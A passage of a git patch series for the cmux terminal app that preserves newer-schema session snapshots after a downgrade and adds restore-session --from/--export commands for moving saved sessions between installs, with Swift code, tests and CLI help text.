From 379cd8fe162855e0e11e4f164a42284f597ef05e Mon Sep 17 00:00:00 2001 From: teamleaderleo Date: Sat, 26 Sep 2026 11:38:47 -0400 Subject: [PATCH 01/16] test: newer-schema session snapshot is destroyed by the next save A snapshot written by a newer cmux is unusable to an older build, so the startup sync leaves it alone and the next autosave replaces it. Pin that it must stay on disk. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../SessionSnapshotRepositoryTests.swift | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotRepositoryTests.swift b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotRepositoryTests.swift index 72c80116b7ed..6d44ceb37590 100644 --- a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotRepositoryTests.swift +++ b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotRepositoryTests.swift @@ -242,6 +242,32 @@ struct SessionSnapshotRepositoryTests { #expect(repository.loadReopenSessionSnapshot(fileURL: nil) == backupSnapshot) } + @Test("a primary written by a newer schema survives the startup sync and the next save") + func newerSchemaPrimarySurvivesNextSave() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir) + let primaryURL = try #require(repository.defaultSnapshotFileURL()) + // A newer cmux wrote this; a downgraded build cannot restore it, but + // must not destroy it with its own next autosave either. + let newerData = Data( + #"{"futureField":true,"version":\#(schemaVersion + 1),"windows":[{"name":"newer"}]}"#.utf8 + ) + try FileManager.default.createDirectory( + at: primaryURL.deletingLastPathComponent(), + withIntermediateDirectories: true + ) + try newerData.write(to: primaryURL) + + repository.syncManualRestoreSnapshotCache() + #expect(repository.save(makeSnapshot(windowNames: ["current"]), fileURL: nil)) + + let survivors = try FileManager.default + .contentsOfDirectory(at: primaryURL.deletingLastPathComponent(), includingPropertiesForKeys: nil) + .filter { (try? Data(contentsOf: $0)) == newerData } + #expect(survivors.count == 1, "the newer-schema snapshot must be kept on disk") + } + @Test("startup snapshot prefers the primary and falls back to the backup when unusable") func startupSnapshotFallback() throws { let dir = try makeTempDirectory() From 497ed7d6b120c57a2d0dc29daacda205ccbc1853 Mon Sep 17 00:00:00 2001 From: teamleaderleo Date: Sat, 26 Sep 2026 11:41:48 -0400 Subject: [PATCH 02/16] fix: keep newer-schema session snapshots; add snapshot import/export primitives SessionSnapshotRepository treats any snapshot whose version differs from the current schema as unusable. After a downgrade, the startup sync left such a primary in place and the next autosave silently replaced it. The unusable branch of both the repository sync and the app's startup sync now copies a newer-schema primary/backup to session-[-previous].schema-v.json first. Snapshot file locations move to SessionSnapshotFileLocation, which takes a bundle id and maps channel names (stable, nightly, rc, staging, debug[:tag]) to bundle ids. The repository gains importableSnapshot(fileURL:) and importableSnapshot(bundleIdentifier:) (read-only, typed errors for missing, unreadable, not-a-snapshot, newer/older schema and empty files) and exportSnapshot(to:overwrite:) for moving sessions between installs. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../Session/SessionSnapshotFileLocation.swift | 98 +++++++++ .../Session/SessionSnapshotRepository.swift | 202 +++++++++++++++--- .../Session/SessionSnapshotStoring.swift | 33 +++ .../SessionSnapshotTransferError.swift | 61 ++++++ ...Delegate+CrashSessionSnapshotRemoval.swift | 4 + 5 files changed, 373 insertions(+), 25 deletions(-) create mode 100644 Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift create mode 100644 Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotTransferError.swift diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift new file mode 100644 index 000000000000..46bc37e3d1c8 --- /dev/null +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotFileLocation.swift @@ -0,0 +1,98 @@ +public import Foundation + +/// Where a cmux install keeps its session snapshot files. +/// +/// Every install (stable, nightly, rc, staging, tagged debug builds) writes +/// `Application Support/cmux/session-.json` plus a +/// `session--previous.json` manual-restore backup. Keying the file +/// on the bundle identifier keeps channels from clobbering each other; this +/// type lets one install locate another install's files so a session can be +/// moved between channels (`cmux restore-session --from nightly`). +public enum SessionSnapshotFileLocation { + /// The stable channel's bundle identifier, also the fallback when the + /// running bundle has none. + public static let stableBundleIdentifier = "com.cmuxterm.app" + + /// Maps a release channel name to its bundle identifier. + /// + /// Accepts `stable` (alias `release`), `nightly`, `rc`, `staging`, + /// `debug` (the untagged Debug build), and `debug:` / `dev:` + /// for tagged Debug builds (`com.cmuxterm.app.debug.`). A value that + /// already is a cmux bundle identifier (`com.cmuxterm.app…`) is returned + /// unchanged. Names are case-insensitive; returns nil for anything else. + /// + /// - Parameter name: The channel name or bundle identifier. + /// - Returns: The bundle identifier, or nil when `name` is not a channel. + public static func bundleIdentifier(forChannel name: String) -> String? { + let trimmed = name.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty else { return nil } + if trimmed == stableBundleIdentifier || trimmed.hasPrefix(stableBundleIdentifier + ".") { + return trimmed + } + let lowered = trimmed.lowercased() + switch lowered { + case "stable", "release": + return stableBundleIdentifier + case "nightly", "rc", "staging", "debug": + return "\(stableBundleIdentifier).\(lowered)" + default: + break + } + for prefix in ["debug:", "dev:"] where lowered.hasPrefix(prefix) { + let tag = String(trimmed.dropFirst(prefix.count)) + .trimmingCharacters(in: .whitespacesAndNewlines) + guard !tag.isEmpty else { return nil } + return "\(stableBundleIdentifier).debug.\(tag)" + } + return nil + } + + /// The primary snapshot file for `bundleIdentifier`. + /// + /// - Parameters: + /// - bundleIdentifier: The install's bundle identifier; nil or blank + /// falls back to ``stableBundleIdentifier``. + /// - appSupportDirectory: The user's Application Support directory. + /// - Returns: `/cmux/session-.json`. + public static func primaryFileURL(bundleIdentifier: String?, appSupportDirectory: URL) -> URL { + fileURL(bundleIdentifier: bundleIdentifier, appSupportDirectory: appSupportDirectory, suffix: "") + } + + /// The manual-restore backup snapshot file for `bundleIdentifier`. + /// + /// - Parameters: + /// - bundleIdentifier: The install's bundle identifier; nil or blank + /// falls back to ``stableBundleIdentifier``. + /// - appSupportDirectory: The user's Application Support directory. + /// - Returns: `/cmux/session--previous.json`. + public static func backupFileURL(bundleIdentifier: String?, appSupportDirectory: URL) -> URL { + fileURL(bundleIdentifier: bundleIdentifier, appSupportDirectory: appSupportDirectory, suffix: "-previous") + } + + /// The side file that keeps a snapshot written by a newer schema version, + /// next to the file it was found in (`session-.json` becomes + /// `session-.schema-v.json`). + /// + /// - Parameters: + /// - fileURL: The snapshot file that holds the newer snapshot. + /// - schemaVersion: The newer snapshot's schema version. + /// - Returns: The side file location. + public static func newerSchemaSideFileURL(for fileURL: URL, schemaVersion: Int) -> URL { + let directory = fileURL.deletingLastPathComponent() + let baseName = fileURL.deletingPathExtension().lastPathComponent + return directory.appendingPathComponent("\(baseName).schema-v\(schemaVersion).json", isDirectory: false) + } + + static func fileURL(bundleIdentifier: String?, appSupportDirectory: URL, suffix: String) -> URL { + let trimmed = bundleIdentifier?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "" + let bundleId = trimmed.isEmpty ? stableBundleIdentifier : bundleIdentifier! + let safeBundleId = bundleId.replacingOccurrences( + of: "[^A-Za-z0-9._-]", + with: "_", + options: .regularExpression + ) + return appSupportDirectory + .appendingPathComponent("cmux", isDirectory: true) + .appendingPathComponent("session-\(safeBundleId)\(suffix).json", isDirectory: false) + } +} diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index c8d9fdbe5906..a116b8bba171 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -15,6 +15,10 @@ internal import CMUXDebugLog /// schema version the legacy code read from `SessionSnapshotSchema` is /// injected as `schemaVersion`. /// +/// It can also read other installs' snapshots (import, never writing them), +/// export the saved snapshot to a file, and keep a newer-schema snapshot as a +/// side file before this build would overwrite it. +/// /// Isolation: a stateless `Sendable` struct, not an actor. Every method is /// synchronous because its callers are: `applicationWillTerminate` must /// complete the save before returning, and the autosave path already hops to @@ -59,16 +63,169 @@ public struct SessionSnapshotRepository SessionSnapshotLoadOutcome { guard fileManager.fileExists(atPath: fileURL.path) else { return .missing } guard let data = try? Data(contentsOf: fileURL) else { return .unusable } + guard let snapshot = decodedSnapshot(from: data) else { return .unusable } + guard snapshot.version == schemaVersion else { return .unusable } + guard snapshot.hasWindows else { return .unusable } + return .loaded(snapshot) + } + + private func decodedSnapshot(from data: Data) -> SnapshotValue? { let decoder = JSONDecoder() for (key, value) in decoderUserInfo { decoder.userInfo[key] = value } - guard let snapshot = try? SessionSnapshotCodingStack().run({ + return try? SessionSnapshotCodingStack().run { try decoder.decode(SnapshotValue.self, from: data) - }) else { return .unusable } - guard snapshot.version == schemaVersion else { return .unusable } - guard snapshot.hasWindows else { return .unusable } - return .loaded(snapshot) + } + } + + /// Only the top-level `version` of a snapshot, so a file written by a + /// different schema can be classified without decoding its payload. + private struct SchemaVersionProbe: Decodable { + let version: Int + } + + private func probedSchemaVersion(of data: Data) -> Int? { + try? SessionSnapshotCodingStack().run { + try JSONDecoder().decode(SchemaVersionProbe.self, from: data).version + } + } + + // MARK: - Moving snapshots between installs + + public func snapshotFileURL(bundleIdentifier: String) -> URL? { + guard let appSupport = resolvedAppSupportDirectory() else { return nil } + return SessionSnapshotFileLocation.primaryFileURL( + bundleIdentifier: bundleIdentifier, + appSupportDirectory: appSupport + ) + } + + public func importableSnapshot( + fileURL: URL + ) -> Result, SessionSnapshotImportError> { + guard fileManager.fileExists(atPath: fileURL.path) else { + return .failure(.fileNotFound(fileURL)) + } + guard let data = try? Data(contentsOf: fileURL) else { + return .failure(.unreadable(fileURL)) + } + return importableSnapshot(data: data, fileURL: fileURL) + } + + private func importableSnapshot( + data: Data, + fileURL: URL + ) -> Result, SessionSnapshotImportError> { + guard let version = probedSchemaVersion(of: data) else { + return .failure(.notASessionSnapshot(fileURL)) + } + if version > schemaVersion { + return .failure(.newerSchemaVersion(fileURL, found: version, supported: schemaVersion)) + } + if version < schemaVersion { + return .failure(.olderSchemaVersion(fileURL, found: version, supported: schemaVersion)) + } + guard let snapshot = decodedSnapshot(from: data), snapshot.version == schemaVersion else { + return .failure(.notASessionSnapshot(fileURL)) + } + guard snapshot.hasWindows else { + return .failure(.noWindows(fileURL)) + } + return .success(SessionSnapshotImport(snapshot: snapshot, fileURL: fileURL)) + } + + public func importableSnapshot( + bundleIdentifier: String + ) -> Result, SessionSnapshotImportError> { + let appSupport = resolvedAppSupportDirectory() + ?? fileManager.homeDirectoryForCurrentUser + .appendingPathComponent("Library/Application Support", isDirectory: true) + let primaryURL = SessionSnapshotFileLocation.primaryFileURL( + bundleIdentifier: bundleIdentifier, + appSupportDirectory: appSupport + ) + let primaryError: SessionSnapshotImportError + switch importableSnapshot(fileURL: primaryURL) { + case .success(let imported): + return .success(imported) + case .failure(let error): + primaryError = error + } + // Same fallback as startup restore: the `-previous` backup is the + // recovery copy when the primary is missing or cannot be restored. + let backupURL = SessionSnapshotFileLocation.backupFileURL( + bundleIdentifier: bundleIdentifier, + appSupportDirectory: appSupport + ) + switch importableSnapshot(fileURL: backupURL) { + case .success(let imported): + return .success(imported) + case .failure(let backupError): + if case .fileNotFound = primaryError { + if case .fileNotFound = backupError { + return .failure(primaryError) + } + return .failure(backupError) + } + return .failure(primaryError) + } + } + + public func exportSnapshot(to destination: URL, overwrite: Bool) -> Result { + let destination = destination.standardizedFileURL + let ownFiles = [defaultSnapshotFileURL(), manualRestoreSnapshotFileURL()] + .compactMap { $0?.standardizedFileURL.resolvingSymlinksInPath().path } + if ownFiles.contains(destination.resolvingSymlinksInPath().path) { + return .failure(.destinationIsLiveSnapshot(destination)) + } + if !overwrite && fileManager.fileExists(atPath: destination.path) { + return .failure(.destinationExists(destination)) + } + for sourceURL in [defaultSnapshotFileURL(), manualRestoreSnapshotFileURL()].compactMap({ $0 }) { + // Copy the validated bytes rather than re-encoding them, so the + // export is exactly what this install would restore from. + guard let data = try? Data(contentsOf: sourceURL), + case .success = importableSnapshot(data: data, fileURL: sourceURL) else { + continue + } + do { + try fileManager.createDirectory( + at: destination.deletingLastPathComponent(), + withIntermediateDirectories: true, + attributes: nil + ) + try data.write(to: destination, options: .atomic) + return .success(sourceURL) + } catch { + return .failure(.writeFailed(destination)) + } + } + return .failure(.noSnapshot) + } + + @discardableResult + public func preserveNewerSchemaSnapshot(fileURL: URL) -> URL? { + guard let data = try? Data(contentsOf: fileURL), + let version = probedSchemaVersion(of: data), + version > schemaVersion else { + return nil + } + let sideURL = SessionSnapshotFileLocation.newerSchemaSideFileURL(for: fileURL, schemaVersion: version) + if let existing = try? Data(contentsOf: sideURL), existing == data { + return sideURL + } + do { + try data.write(to: sideURL, options: .atomic) + } catch { + return nil + } +#if DEBUG + CMUXDebugLog.logDebugEvent( + "session.snapshot.newerSchemaPreserved version=\(version) path=\(sideURL.path)" + ) +#endif + return sideURL } public func load(fileURL: URL? = nil) -> SnapshotValue? { @@ -123,8 +280,11 @@ public struct SessionSnapshotRepository URL? { - let resolvedAppSupport: URL - if let appSupportDirectory { - resolvedAppSupport = appSupportDirectory - } else if let discovered = fileManager.urls(for: .applicationSupportDirectory, in: .userDomainMask).first { - resolvedAppSupport = discovered - } else { - return nil - } - let bundleId = (bundleIdentifier?.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty == false) - ? bundleIdentifier! - : "com.cmuxterm.app" - let safeBundleId = bundleId.replacingOccurrences( - of: "[^A-Za-z0-9._-]", - with: "_", - options: .regularExpression + guard let appSupport = resolvedAppSupportDirectory() else { return nil } + return SessionSnapshotFileLocation.fileURL( + bundleIdentifier: bundleIdentifier, + appSupportDirectory: appSupport, + suffix: suffix ) - return resolvedAppSupport - .appendingPathComponent("cmux", isDirectory: true) - .appendingPathComponent("session-\(safeBundleId)\(suffix).json", isDirectory: false) + } + + private func resolvedAppSupportDirectory() -> URL? { + appSupportDirectory + ?? fileManager.urls(for: .applicationSupportDirectory, in: .userDomainMask).first } } diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift index a4f8c7df6ca5..1e992fbc17c0 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift @@ -49,4 +49,37 @@ public protocol SessionSnapshotStoring: Sendable { /// Location of the manual-restore backup snapshot file, or nil when /// Application Support cannot be resolved. func manualRestoreSnapshotFileURL() -> URL? + + /// Location of another install's primary snapshot file (same user + /// Application Support, `session-.json`), or nil when + /// Application Support cannot be resolved. + func snapshotFileURL(bundleIdentifier: String) -> URL? + + /// Reads and validates the snapshot at `fileURL` for import, reporting + /// why it cannot be restored (missing, unreadable, not a snapshot, + /// newer or older schema version, no windows). Never writes. + func importableSnapshot( + fileURL: URL + ) -> Result, SessionSnapshotImportError> + + /// Reads and validates another install's snapshot for import: its + /// primary file, falling back to its `-previous` backup like startup + /// restore does. Never writes either file. + func importableSnapshot( + bundleIdentifier: String + ) -> Result, SessionSnapshotImportError> + + /// Copies this install's saved snapshot (the primary when usable, + /// otherwise the backup) to `destination` after validating it. + /// + /// - Returns: The snapshot file that was copied. + func exportSnapshot(to destination: URL, overwrite: Bool) -> Result + + /// When the file at `fileURL` holds a snapshot from a newer schema + /// version, copies it to a `.schema-v.json` side file so a later save + /// at the current schema does not destroy it. + /// + /// - Returns: The side file, or nil when nothing needed preserving. + @discardableResult + func preserveNewerSchemaSnapshot(fileURL: URL) -> URL? } diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotTransferError.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotTransferError.swift new file mode 100644 index 000000000000..8eb76ded59b2 --- /dev/null +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotTransferError.swift @@ -0,0 +1,61 @@ +public import Foundation + +/// Why a snapshot file could not be imported into the running app. +/// +/// Every case carries the file that was inspected so the app can name it in +/// the user-facing message. +public enum SessionSnapshotImportError: Error, Equatable, Sendable { + /// No file exists at the location. + case fileNotFound(URL) + /// The file exists but could not be read. + case unreadable(URL) + /// The file is not a cmux session snapshot (not JSON, no `version`, or + /// the payload does not decode at the current schema). + case notASessionSnapshot(URL) + /// The snapshot was written by a newer cmux with a schema this build + /// cannot read. + case newerSchemaVersion(URL, found: Int, supported: Int) + /// The snapshot uses an older schema this build no longer reads. + case olderSchemaVersion(URL, found: Int, supported: Int) + /// The snapshot decodes but has no windows to restore. + case noWindows(URL) + + /// The file the error refers to. + public var fileURL: URL { + switch self { + case .fileNotFound(let url), + .unreadable(let url), + .notASessionSnapshot(let url), + .newerSchemaVersion(let url, _, _), + .olderSchemaVersion(let url, _, _), + .noWindows(let url): + return url + } + } +} + +/// Why the saved snapshot could not be exported to a file. +public enum SessionSnapshotExportError: Error, Equatable, Sendable { + /// Neither the primary snapshot nor its backup holds a usable snapshot. + case noSnapshot + /// The destination already exists and overwriting was not requested. + case destinationExists(URL) + /// The destination is one of this install's own snapshot files. + case destinationIsLiveSnapshot(URL) + /// Writing the destination failed. + case writeFailed(URL) +} + +/// A snapshot validated for import, with the file it was read from. +public struct SessionSnapshotImport: Sendable { + /// The decoded snapshot. + public let snapshot: SnapshotValue + /// The file the snapshot was read from. + public let fileURL: URL + + /// Creates an import result. + public init(snapshot: SnapshotValue, fileURL: URL) { + self.snapshot = snapshot + self.fileURL = fileURL + } +} diff --git a/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift b/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift index c11b9724d351..fed51d9faa8e 100644 --- a/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift +++ b/Sources/AppDelegate+CrashSessionSnapshotRemoval.swift @@ -42,6 +42,10 @@ extension AppDelegate { } case .unusable: Self.clearCrashOnlyPrimarySnapshotRemovalMarker() + // A snapshot from a newer schema (after a downgrade) is unusable + // here, and the next autosave would replace it. Copy it aside. + sessionSnapshotStore.preserveNewerSchemaSnapshot(fileURL: primaryURL) + sessionSnapshotStore.preserveNewerSchemaSnapshot(fileURL: backupURL) } } From 900e6f45cadd2b67302a9eaa42a952be53a786c1 Mon Sep 17 00:00:00 2001 From: Leo Li Date: Sat, 26 Sep 2026 12:54:13 -0400 Subject: [PATCH 03/16] feat: move saved sessions between cmux installs with restore-session --from/--export cmux restore-session --from |path> reopens another install's saved session (session-.json, falling back to its -previous backup) or an exported file in the running app, as additional windows through the existing restore path. The source file is only read. cmux restore-session --export [--force] copies this install's validated saved snapshot to a file. Both go through new v2 methods session.import / session.export (not relay-allowlisted) and never launch cmux. Imports are validated before anything is applied: missing, unreadable, not-a-snapshot, newer/older schema, empty, and this install's own live file each produce a specific localized error. Co-Authored-By: Claude Opus 5.5 (1M context) --- CLI/CMUXCLI+TaskHelp.swift | 2 +- CLI/cmux.swift | 110 ++- .../ControlCommandCoordinator+System.swift | 7 +- ...ControlCommandCoordinator+SystemMisc.swift | 70 ++ .../ControlSessionTransferResolution.swift | 31 + .../System/ControlSystemContext.swift | 22 +- ...ontrolCommandContextTestStubs+System.swift | 6 + ...mmandCoordinatorSessionTransferTests.swift | 106 +++ ...SessionTransferControlCommandContext.swift | 20 + .../Session/SessionSnapshotRepository.swift | 23 +- .../Session/SessionSnapshotStoring.swift | 6 +- .../SessionSnapshotTransferError.swift | 6 +- .../SessionSnapshotTransferTests.swift | 318 +++++++ README.md | 17 + Resources/Localizable.xcstrings | 826 ++++++++++++++++++ Sources/TerminalController+Capabilities.swift | 2 + ...minalController+ControlSystemContext.swift | 194 +++- Sources/TerminalController.swift | 5 +- cmux.xcodeproj/project.pbxproj | 4 + .../CLIRestoreSessionTransferTests.swift | 305 +++++++ docs/cli-contract.md | 2 +- scripts/stress-cli-socket-api.py | 2 + 22 files changed, 2068 insertions(+), 16 deletions(-) create mode 100644 Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSessionTransferResolution.swift create mode 100644 Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift create mode 100644 Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/FakeSessionTransferControlCommandContext.swift create mode 100644 Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift create mode 100644 cmuxCLITests/CLIRestoreSessionTransferTests.swift diff --git a/CLI/CMUXCLI+TaskHelp.swift b/CLI/CMUXCLI+TaskHelp.swift index 39117c3db711..2de64b719644 100644 --- a/CLI/CMUXCLI+TaskHelp.swift +++ b/CLI/CMUXCLI+TaskHelp.swift @@ -188,7 +188,7 @@ extension CMUXCLI { return """ \(restoreCommandUsageLine) \(forkCommandUsageLine) - restore-session + restore-session [--from | --export [--force]] \(String(localized: "cli.sessions.command", defaultValue: "sessions [list] [options]")) open ... [--workspace ] [--surface ] [--pane ] [--window ] [--focus ] [--no-focus] new-workspace [--name ] [--description <text>] [--cwd <path>] [--command <text>] [--layout <json>] [--window <id|ref|index>] [--focus <true|false>] [--group <id|ref>] [--group-placement afterCurrent|top|end] [--group-reference <workspace>] diff --git a/CLI/cmux.swift b/CLI/cmux.swift index b24b3ff09f48..3a921152d8c3 100644 --- a/CLI/cmux.swift +++ b/CLI/cmux.swift @@ -8600,10 +8600,48 @@ struct CMUXCLI { explicitPassword: String?, jsonOutput: Bool ) throws { - let remaining = commandArgs.filter { $0 != "--" } + let (fromValue, afterFrom) = parseOption(commandArgs, name: "--from") + let (exportValue, afterExport) = parseOption(afterFrom, name: "--export") + let force = afterExport.contains("--force") + let remaining = afterExport.filter { $0 != "--" && $0 != "--force" } if let unknown = remaining.first { + if unknown == "--from" || unknown == "--export" { + throw CLIError(message: "restore-session: \(unknown) requires a value") + } throw CLIError(message: "restore-session: unknown flag '\(unknown)'") } + if fromValue != nil && exportValue != nil { + throw CLIError(message: "restore-session: use either --from or --export, not both") + } + if force && exportValue == nil { + throw CLIError(message: "restore-session: --force only applies to --export") + } + if let fromValue { + try runRestoreSessionTransfer( + method: "session.import", + params: try restoreSessionImportParams(fromValue), + socketPath: socketPath, + explicitPassword: explicitPassword, + jsonOutput: jsonOutput, + resultPathKey: "source_path" + ) + return + } + if let exportValue { + let trimmed = exportValue.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty else { + throw CLIError(message: "restore-session: --export requires a file path") + } + try runRestoreSessionTransfer( + method: "session.export", + params: ["path": resolvePath(trimmed), "force": force], + socketPath: socketPath, + explicitPassword: explicitPassword, + jsonOutput: jsonOutput, + resultPathKey: "path" + ) + return + } let initialClient = SocketClient(path: socketPath) let client: SocketClient @@ -8635,6 +8673,60 @@ struct CMUXCLI { } } + /// `session.import` params for `restore-session --from <value>`: a value + /// that looks like a file path (contains `/`, starts with `~` or `.`, or + /// ends in `.json`) is sent as an absolute `path`; anything else is a + /// channel name or bundle id the app resolves (`source`). + func restoreSessionImportParams(_ rawValue: String) throws -> [String: Any] { + let value = rawValue.trimmingCharacters(in: .whitespacesAndNewlines) + guard !value.isEmpty else { + throw CLIError(message: "restore-session: --from requires a channel or a file path") + } + let looksLikePath = value.contains("/") + || value.hasPrefix("~") + || value.hasPrefix(".") + || value.lowercased().hasSuffix(".json") + if looksLikePath { + return ["path": resolvePath(value)] + } + return ["source": value] + } + + /// Sends a session transfer request (`session.import` / `session.export`) + /// to the running app. Unlike plain `restore-session`, these never launch + /// cmux: importing into an app that is still starting would race its own + /// startup restore. + private func runRestoreSessionTransfer( + method: String, + params: [String: Any], + socketPath: String, + explicitPassword: String?, + jsonOutput: Bool, + resultPathKey: String + ) throws { + let client = SocketClient(path: socketPath) + do { + try client.connect() + } catch { + client.close() + throw CLIError(message: "restore-session: cmux is not running. Open cmux, then run this command again.") + } + defer { client.close() } + try authenticateClientIfNeeded( + client, + explicitPassword: explicitPassword, + socketPath: socketPath + ) + let response = try client.sendV2(method: method, params: params) + if jsonOutput { + print(jsonString(response)) + } else if let path = response[resultPathKey] as? String { + print("OK \(path)") + } else { + print("OK") + } + } + func connectClient( socketPath: String, explicitPassword: String?, @@ -18519,14 +18611,26 @@ struct CMUXCLI { Configure idle and live-terminal limits from Settings or cmux settings JSON. """ case "restore-session": - return """ + return String(localized: "cli.restoreSession.help", defaultValue: """ Usage: cmux restore-session + cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path> + cmux restore-session --export <path> [--force] Reopen the previous saved cmux session. If the app is already running, this restores the last saved session into the current app. If the app is not running, this launches cmux and lets startup restore reopen the saved session. - """ + + Each cmux install (stable, nightly, rc, staging, tagged debug builds) saves its own session. + --from <channel> Reopen another install's saved session in this running cmux, for example + after trying nightly and switching back to stable. The session opens as + additional windows; the other install's saved file is only read. + --from <path> Reopen a session file written by --export. + --export <path> Write this cmux's saved session to a file. Pass --force to replace an + existing file. + + --from and --export require cmux to be running. + """) case "restore": return String(localized: "cli.restore.help", defaultValue: """ Usage: cmux restore [--surface <id|ref>] <kind> <checkpoint-id> diff --git a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+System.swift b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+System.swift index 8b5af5c3f522..173b016fddca 100644 --- a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+System.swift +++ b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+System.swift @@ -1,7 +1,8 @@ internal import Foundation /// The system/misc domain (`system.identify`, `system.tree`, `auth.login`, -/// `session.restore_previous`, `settings.open`, `feedback.open`, +/// `session.restore_previous`, `session.import`, `session.export`, +/// `settings.open`, `feedback.open`, /// `extension.sidebar.snapshot`, `workspace.action`, `surface.action` / /// `tab.action`, `surface.drag_to_split` / `surface.split_off`, and the /// DEBUG-only `mobile.dev_stack_auth.configure`), lifted byte-faithfully from @@ -30,6 +31,10 @@ extension ControlCommandCoordinator { return authLogin() case "session.restore_previous": return sessionRestorePrevious() + case "session.import": + return sessionImport(request.params) + case "session.export": + return sessionExport(request.params) case "settings.open": return settingsOpen(request.params) case "feedback.open": diff --git a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift index e99a508735c2..524fb376e6b6 100644 --- a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift +++ b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlCommandCoordinator+SystemMisc.swift @@ -1,6 +1,7 @@ internal import Foundation /// The small system-domain bodies: `auth.login`, `session.restore_previous`, +/// `session.import`, `session.export`, /// `settings.open`, `feedback.open`, `extension.sidebar.snapshot`, the /// `surface.split_off` / `surface.drag_to_split` bridge, and the DEBUG-only /// `mobile.dev_stack_auth.configure`. @@ -26,6 +27,75 @@ extension ControlCommandCoordinator { } } + /// `session.import` — reopen another install's saved session (`source`: + /// a channel name or bundle identifier) or a snapshot file (`path`, an + /// absolute path) as additional windows. + func sessionImport(_ params: [String: JSONValue]) -> ControlCallResult { + let path = string(params, "path") + let channel = string(params, "source") + let source: ControlSessionImportSource + switch (path, channel) { + case (let path?, nil): + guard path.hasPrefix("/") else { + return .err( + code: "invalid_params", + message: "session.import params.path must be an absolute path", + data: .object(["path": .string(path)]) + ) + } + source = .file(path: path) + case (nil, let channel?): + source = .channel(channel) + default: + return .err( + code: "invalid_params", + message: "session.import requires exactly one of params.source or params.path", + data: nil + ) + } + guard let systemContext else { + return .err(code: "unavailable", message: "Session context not attached", data: nil) + } + switch systemContext.controlSessionImport(source: source) { + case let .restored(sourcePath, windowCount): + return .ok(.object([ + "restored": .bool(true), + "source_path": .string(sourcePath), + "window_count": .int(Int64(windowCount)), + ])) + case let .failed(code, message, path): + return .err(code: code, message: message, data: .object(["path": orNull(path)])) + } + } + + /// `session.export` — write this install's saved session snapshot to an + /// absolute `path`; `force` allows replacing an existing file. + func sessionExport(_ params: [String: JSONValue]) -> ControlCallResult { + guard let path = string(params, "path") else { + return .err(code: "invalid_params", message: "session.export requires params.path", data: nil) + } + guard path.hasPrefix("/") else { + return .err( + code: "invalid_params", + message: "session.export params.path must be an absolute path", + data: .object(["path": .string(path)]) + ) + } + guard let systemContext else { + return .err(code: "unavailable", message: "Session context not attached", data: nil) + } + switch systemContext.controlSessionExport(path: path, overwrite: bool(params, "force") ?? false) { + case let .exported(exportedPath, sourcePath): + return .ok(.object([ + "exported": .bool(true), + "path": 